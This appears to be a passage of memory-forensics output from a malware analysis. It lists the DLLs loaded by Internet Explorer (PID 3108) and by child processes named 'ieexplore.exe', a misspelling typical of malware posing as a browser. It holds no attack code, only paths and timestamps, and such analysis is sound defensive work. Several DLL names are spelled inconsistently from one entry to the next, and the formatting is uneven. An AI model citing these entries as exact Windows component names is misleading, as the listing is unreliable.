- > {C:\Windows\syswow64\CLBCatQ.DLL}
- > {C:\Windows\system32\wbem\wbemprox.dll}
- > {C:\Windows\system32\wbemcomn.dll}
- > {C:\Windows\system32\CRYPTSP.dll}
- > {C:\Windows\system32\rsaenh.dll}
- > {C:\Windows\system32\RpcRtRemote.dll}
- > {C:\Windows\system32\wbem\wbemsvc.dll}
- > {C:\Windows\system32\wbem\fastprox.dll}
- > {C:\Windows\system32\NTDSAPI.dll}

Mon Mar 13 01:05:11 2017 3108 **iexplore.exe** -> belongsTo 2956

** 3108 (0x00000C24)

- > {C:\Program Files (x86)\Internet Explorer\iexplore.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\SHELL32.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\iertutil.dll}
- > {C:\Windows\syswow64\urlmon.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\syswow64\CRYPT32.dll}
- > {C:\Windows\syswow64\MSASN1.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\system32\IEFRAME.dll}
- > {C:\Windows\syswow64\PSAPI.DLL}

-> {C:\Windows\system32\OLEACC.dll}

-> {C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}

-> {C:\Windows\syswow64\WININET.dll}

-> {C:\Windows\syswow64\Normaliz.dll}

-> {C:\Windows\system32\profapi.dll}

-> {C:\Windows\syswow64\ws2_32.DLL}

-> {C:\Windows\syswow64\NSI.dll}

-> {C:\Windows\system32\dnsapi.DLL}

-> {C:\Windows\system32\iphlpapi.DLL}

-> {C:\Windows\system32\WINNSI.DLL}

-> {C:\Windows\syswow64\CLBCatQ.DLL}

-> {C:\Windows\system32\CRYPTSP.dll}

-> {C:\Windows\system32\rsaenh.dll}

-> {C:\Windows\system32\RpcRtRemote.dll}

-> {C:\Windows\system32\ntmarta.dll}

-> {C:\Windows\syswow64\WLDAP32.dll}

-> {C:\Windows\system32\VERSION.dll}

-> {C:\Windows\syswow64\comdlg32.dll}

-> {C:\Windows\system32\mswsock.dll}

-> {C:\Windows\System32\wshtcpip.dll}

-> {C:\Windows\System32\wship6.dll}

-> {C:\Windows\system32\rasadhlp.dll}

-> {C:\Windows\System32\fwpuclnt.dll}

-> {C:\Windows\system32\RASAPI32.dll}

-> {C:\Windows\system32\rasman.dll}

-> {C:\Windows\system32\rtutils.dll}

-> {C:\Windows\system32\sensapi.dll}

-> {C:\Windows\system32\NLAapi.dll}

-> {C:\Windows\system32\IEUI.dll}

-> {C:\Windows\system32\MSIMG32.dll}

-> {C:\Windows\System32\netprofm.dll}

-> {C:\Windows\System32\npmproxy.dll}

- > {C:\Windows\System32\winrnr.dll}
- > {C:\Windows\system32\napinsp.dll}
- > {C:\Windows\system32\pnrpnp.dll}
- > {C:\Windows\system32\wshbth.dll}
- > {C:\Program Files (x86)\Internet Explorer\ieproxy.dll}
- > {C:\Windows\system32\UxTheme.dll}
- > {C:\Windows\system32\xmlite.dll}
- > {C:\Windows\system32\explorerframe.dll}
- > {C:\Windows\system32\DUser.dll}
- > {C:\Windows\system32\DUI70.dll}
- > {C:\Windows\system32\apphelp.dll}
- > {C:\Windows\system32\SXS.DLL}
- > {C:\Windows\system32\propsys.dll}
- > {C:\Windows\syswow64\SETUPAPI.dll}
- > {C:\Windows\syswow64\CFGMR32.dll}
- > {C:\Windows\syswow64\DEVOBJ.dll}
- > {C:\Windows\system32\msfeeds.dll}
- > {C:\Windows\system32\peerdist.dll}
- > {C:\Windows\system32\USERENV.dll}
- > {C:\Windows\system32\AUTHZ.dll}
- > {C:\Windows\system32\MLANG.dll}

Mon Mar 13 01:05:12 2017 2728 **ieexplore.exe** -> belongsTo 3108

** 2728 (0x00000AA8)

- > {C:\Program Files (x86)\Internet Explorer\ieexplore.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}

- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\SHELL32.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\iertutil.dll}
- > {C:\Windows\syswow64\urlmon.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\syswow64\CRYPT32.dll}
- > {C:\Windows\syswow64\MSASN1.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\system32\IEFRAME.dll}
- > {C:\Windows\syswow64\PSAPI.DLL}
- > {C:\Windows\system32\OLEACC.dll}
- > {C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}
- > {C:\Windows\syswow64\comdlg32.dll}
- > {C:\Program Files (x86)\Internet Explorer\IEShims.dll}
- > {C:\Windows\system32\RpcRtRemote.dll}
- > {C:\Windows\syswow64\CLBCatQ.DLL}
- > {C:\Windows\system32\propsys.dll}
- > {C:\Windows\system32\ntmarta.dll}
- > {C:\Windows\syswow64\WLDAP32.dll}
- > {C:\Windows\system32\profapi.dll}
- > {C:\Windows\syswow64\SETUPAPI.dll}

- > {C:\Windows\syswow64\CFGMGR32.dll}
- > {C:\Windows\syswow64\DEVOBJ.dll}
- > {C:\Windows\system32\CRYPTSP.dll}
- > {C:\Windows\system32\rsaenh.dll}
- > {C:\Program Files (x86)\Internet Explorer\ieproxy.dll}
- > {C:\Windows\syswow64\WININET.dll}
- > {C:\Windows\syswow64\Normaliz.dll}
- > {C:\Windows\syswow64\ws2_32.DLL}
- > {C:\Windows\syswow64\NSI.dll}
- > {C:\Windows\system32\dnsapi.DLL}
- > {C:\Windows\system32\iphlpapi.DLL}
- > {C:\Windows\system32\WINNSI.DLL}
- > {C:\Windows\system32\MLANG.dll}
- > {C:\Windows\system32\UxTheme.dll}
- > {C:\Windows\system32\DWMAPI.DLL}
- > {C:\Windows\system32\SXS.DLL}
- > {C:\Windows\system32\VERSION.dll}
- > {C:\Windows\system32\apphelp.dll}
- > {C:\Windows\system32\RASAPI32.dll}
- > {C:\Windows\system32\rasman.dll}
- > {C:\Windows\system32\rtutils.dll}
- > {C:\Windows\system32\sensapi.dll}
- > {C:\Windows\system32\NLAapi.dll}
- > {C:\Windows\system32\rasadhlp.dll}
- > {C:\Windows\system32\peerdist.dll}
- > {C:\Windows\system32\USERENV.dll}
- > {C:\Windows\system32\AUTHZ.dll}
- > {C:\Windows\System32\netprofm.dll}
- > {C:\Windows\system32\mswsock.dll}
- > {C:\Windows\System32\wshtcpip.dll}
- > {C:\Windows\System32\npmproxy.dll}
- > {C:\Windows\System32\winrnr.dll}
- > {C:\Windows\system32\napinsp.dll}

- > {C:\Windows\system32\pnrpnp.dll}
- > {C:\Windows\system32\wshbth.dll}
- > {C:\Windows\System32\wship6.dll}
- > {C:\Windows\System32\fwpuclnt.dll}
- > {C:\Windows\SysWOW64\mshtml.dll}
- > {C:\Windows\SysWOW64\msls31.dll}
- > {C:\Windows\system32\msimtf.dll}
- > {C:\Windows\SysWOW64\jscript.dll}
- > {C:\Windows\system32\WINMM.dll}
- > {C:\Windows\system32\MMDvAPI.DLL}
- > {C:\Windows\system32\wdmaud.drv}
- > {C:\Windows\system32\ksuser.dll}
- > {C:\Windows\system32\AVRT.dll}
- > {C:\Windows\system32\AUDIOSES.DLL}
- > {C:\Windows\system32\msacm32.drv}
- > {C:\Windows\system32\MSACM32.dll}
- > {C:\Windows\system32\midimap.dll}
- > {C:\Windows\syswow64\wintrust.dll}
- > {C:\Windows\system32\schannel.DLL}
- > {C:\Windows\SysWOW64\iepeers.dll}
- > {C:\Windows\SysWOW64\WINSPOOL.DRV}
- > {C:\Windows\system32\credssp.dll}
- > {C:\Windows\SysWOW64\Dxtrans.dll}
- > {C:\Windows\SysWOW64\ATL.DLL}
- > {C:\Windows\SysWOW64\ddrawex.dll}
- > {C:\Windows\SysWOW64\DDRAW.dll}
- > {C:\Windows\SysWOW64\DCIMAN32.dll}
- > {C:\Windows\system32\vm3dum.dll}
- > {C:\Windows\SysWOW64\Dxtmsft.dll}
- > {C:\Windows\system32\secur32.dll}
- > {C:\Windows\system32\ncrypt.dll}
- > {C:\Windows\system32\bcrypt.dll}
- > {C:\Windows\SysWOW64\bcryptprimitives.dll}


```

-> {C:\Windows\system32\GPAPI.dll}
-> {C:\Windows\system32\ImgUtil.dll}
-> {C:\Windows\SysWOW64\pngfilt.dll}
-> {C:
\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7600.16385_none_72fc7cbf
861225ca\gdiplus.dll}
-> {C:\Windows\system32\D3DIM700.DLL}
-> {C:\Windows\system32\cryptnet.dll}
-> {C:\Windows\system32\Cabinet.dll}
-> {C:\Windows\system32\DEVRTL.dll}
-> {C:\Windows\system32\WINHTTP.dll}
-> {C:\Windows\system32\webio.dll}
-> {C:\Windows\system32\dhcpcsvc6.DLL}
-> {C:\Windows\system32\dhcpcsvc.DLL}

```

Mon Mar 13 01:05:21 2017 1336 **ieexplore.exe** -> belongsTo 3108

** 1336 (0x00000538)

```

-> {C:\Program Files (x86)\Internet Explorer\ieexplore.exe}
-> {C:\Windows\SysWOW64\ntdll.dll}
-> {C:\Windows\syswow64\kernel32.dll}
-> {C:\Windows\syswow64\KERNELBASE.dll}
-> {C:\Windows\syswow64\ADVAPI32.dll}
-> {C:\Windows\syswow64\msvcrt.dll}
-> {C:\Windows\SysWOW64\sechost.dll}
-> {C:\Windows\syswow64\RPCRT4.dll}
-> {C:\Windows\syswow64\SspiCli.dll}
-> {C:\Windows\syswow64\CRYPTBASE.dll}
-> {C:\Windows\syswow64\USER32.dll}

```

- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\SHELL32.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\iertutil.dll}
- > {C:\Windows\syswow64\urlmon.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}
- > {C:\Windows\syswow64\CRYPT32.dll}
- > {C:\Windows\syswow64\MSASN1.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTFE.dll}
- > {C:\Windows\system32\IEFRAME.dll}
- > {C:\Windows\syswow64\PSAPI.DLL}
- > {C:\Windows\system32\OLEACC.dll}
- > {C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}
- > {C:\Windows\syswow64\comdlg32.dll}
- > {C:\Program Files (x86)\Internet Explorer\IEShims.dll}
- > {C:\Windows\system32\RpcRtRemote.dll}
- > {C:\Windows\syswow64\CLBCatQ.DLL}
- > {C:\Windows\system32\propsys.dll}
- > {C:\Windows\system32\ntmarta.dll}
- > {C:\Windows\syswow64\WLDAP32.dll}
- > {C:\Windows\system32\profapi.dll}
- > {C:\Windows\syswow64\SETUPAPI.dll}
- > {C:\Windows\syswow64\CFGMR32.dll}
- > {C:\Windows\syswow64\DEVOBJ.dll}
- > {C:\Windows\syswow64\WININET.dll}
- > {C:\Windows\syswow64\Normaliz.dll}
- > {C:\Windows\syswow64\ws2_32.DLL}
- > {C:\Windows\syswow64\NSI.dll}

- > {C:\Windows\system32\dnsapi.DLL}
- > {C:\Windows\system32\iphlpapi.DLL}
- > {C:\Windows\system32\WINNSI.DLL}
- > {C:\Windows\system32\CRYPTSP.dll}
- > {C:\Windows\system32\rsaenh.dll}
- > {C:\Program Files (x86)\Internet Explorer\ieproxy.dll}
- > {C:\Windows\system32\VERSION.dll}
- > {C:\Windows\System32\netprofm.dll}
- > {C:\Windows\System32\nlaapi.dll}
- > {C:\Windows\System32\npmproxy.dll}
- > {C:\Windows\system32\apphelp.dll}
- > {C:\Windows\system32\RASAPI32.dll}
- > {C:\Windows\system32\rasman.dll}
- > {C:\Windows\system32\rtutils.dll}
- > {C:\Windows\system32\mswsock.dll}
- > {C:\Windows\System32\wshtcpip.dll}
- > {C:\Windows\System32\wship6.dll}
- > {C:\Windows\system32\sensapi.dll}
- > {C:\Windows\system32\peerdist.dll}
- > {C:\Windows\system32\USERENV.dll}
- > {C:\Windows\system32\AUTHZ.dll}
- > {C:\Windows\system32\rasadhlp.dll}
- > {C:\Windows\system32\MLANG.dll}
- > {C:\Windows\system32\UxTheme.dll}
- > {C:\Windows\system32\DWMAPI.DLL}
- > {C:\Windows\system32\SXS.DLL}
- > {C:\Windows\System32\winrnr.dll}
- > {C:\Windows\system32\napinsp.dll}
- > {C:\Windows\system32\pnrpns.dll}
- > {C:\Windows\system32\wshbth.dll}
- > {C:\Windows\System32\fwpuclnt.dll}
- > {C:\Windows\SysWOW64\mshtml.dll}
- > {C:\Windows\SysWOW64\msls31.dll}

- > {C:\Windows\SysWOW64\iepeers.dll}
- > {C:\Windows\SysWOW64\WINSPOOL.DRV}
- > {C:\Windows\system32\msimtf.dll}
- > {C:\Windows\SysWOW64\jscript.dll}
- > {C:\Windows\system32\ImgUtil.dll}
- > {C:\Windows\SysWOW64\pngfilt.dll}

Mon Mar 13 01:05:22 2017 1244 **ieexplore.exe** -> belongsTo 3108

** 1244 (0x000004DC)

- > {C:\Program Files (x86)\Internet Explorer\ieexplore.exe}
- > {C:\Windows\SysWOW64\ntdll.dll}
- > {C:\Windows\syswow64\kernel32.dll}
- > {C:\Windows\syswow64\KERNELBASE.dll}
- > {C:\Windows\syswow64\ADVAPI32.dll}
- > {C:\Windows\syswow64\msvcrt.dll}
- > {C:\Windows\SysWOW64\sechost.dll}
- > {C:\Windows\syswow64\RPCRT4.dll}
- > {C:\Windows\syswow64\SspiCli.dll}
- > {C:\Windows\syswow64\CRYPTBASE.dll}
- > {C:\Windows\syswow64\USER32.dll}
- > {C:\Windows\syswow64\GDI32.dll}
- > {C:\Windows\syswow64\LPK.dll}
- > {C:\Windows\syswow64\USP10.dll}
- > {C:\Windows\syswow64\SHLWAPI.dll}
- > {C:\Windows\syswow64\SHELL32.dll}
- > {C:\Windows\syswow64\ole32.dll}
- > {C:\Windows\syswow64\iertutil.dll}
- > {C:\Windows\syswow64\urlmon.dll}
- > {C:\Windows\syswow64\OLEAUT32.dll}

- > {C:\Windows\syswow64\CRYPT32.dll}
- > {C:\Windows\syswow64\MSASN1.dll}
- > {C:\Windows\system32\IMM32.DLL}
- > {C:\Windows\syswow64\MSCTF.dll}
- > {C:\Windows\system32\IEFRAME.dll}
- > {C:\Windows\syswow64\PSAPI.DLL}
- > {C:\Windows\system32\OLEACC.dll}
- > {C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll}
- > {C:\Windows\syswow64\comdlg32.dll}
- > {C:\Program Files (x86)\Internet Explorer\IEShims.dll}
- > {C:\Windows\system32\RpcRtRemote.dll}
- > {C:\Windows\syswow64\CLBCatQ.DLL}
- > {C:\Windows\system32\propsys.dll}
- > {C:\Windows\system32\ntmarta.dll}
- > {C:\Windows\syswow64\WLDAP32.dll}
- > {C:\Windows\system32\profapi.dll}
- > {C:\Windows\syswow64\SETUPAPI.dll}
- > {C:\Windows\syswow64\CFGMGR32.dll}
- > {C:\Windows\syswow64\DEVOBJ.dll}
- > {C:\Windows\system32\CRYPTSP.dll}
- > {C:\Windows\system32\rsaenh.dll}
- > {C:\Program Files (x86)\Internet Explorer\ieproxy.dll}
- > {C:\Windows\system32\VERSION.dll}
- > {C:\Windows\syswow64\WININET.dll}
- > {C:\Windows\syswow64\Normaliz.dll}
- > {C:\Windows\syswow64\ws2_32.DLL}
- > {C:\Windows\syswow64\NSI.dll}
- > {C:\Windows\system32\dnsapi.DLL}
- > {C:\Windows\system32\iphlpapi.DLL}
- > {C:\Windows\system32\WINNSI.DLL}
- > {C:\Windows\System32\netprofm.dll}
- > {C:\Windows\System32\nlaapi.dll}

-> {C:\Windows\System32\npmproxy.dll}
-> {C:\Windows\system32\apphelp.dll}
-> {C:\Windows\system32\mswsock.dll}
-> {C:\Windows\System32\wshtcpip.dll}
-> {C:\Windows\System32\wship6.dll}
-> {C:\Windows\system32\RASAPI32.dll}
-> {C:\Windows\system32\rasman.dll}
-> {C:\Windows\system32\rtutils.dll}
-> {C:\Windows\system32\sensapi.dll}
-> {C:\Windows\system32\peerdist.dll}
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-> {C:\Windows\system32\AUTHZ.dll}
-> {C:\Windows\system32\rasadhlp.dll}
-> {C:\Windows\system32\MLANG.dll}
-> {C:\Windows\system32\UxTheme.dll}
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-> {C:\Windows\system32\SXS.DLL}
-> {C:\Windows\System32\winrnr.dll}
-> {C:\Windows\system32\napinsp.dll}
-> {C:\Windows\system32\pnrpnp.dll}
-> {C:\Windows\system32\wshbth.dll}
-> {C:\Windows\System32\fwpuclnt.dll}
-> {C:\Windows\SysWOW64\mshtml.dll}
-> {C:\Windows\SysWOW64\msls31.dll}
-> {C:\Windows\system32\msimtf.dll}
-> {C:\Windows\SysWOW64\jscript.dll}
-> {C:\Windows\SysWOW64\iepeers.dll}
-> {C:\Windows\SysWOW64\WINSPOOL.DRV}

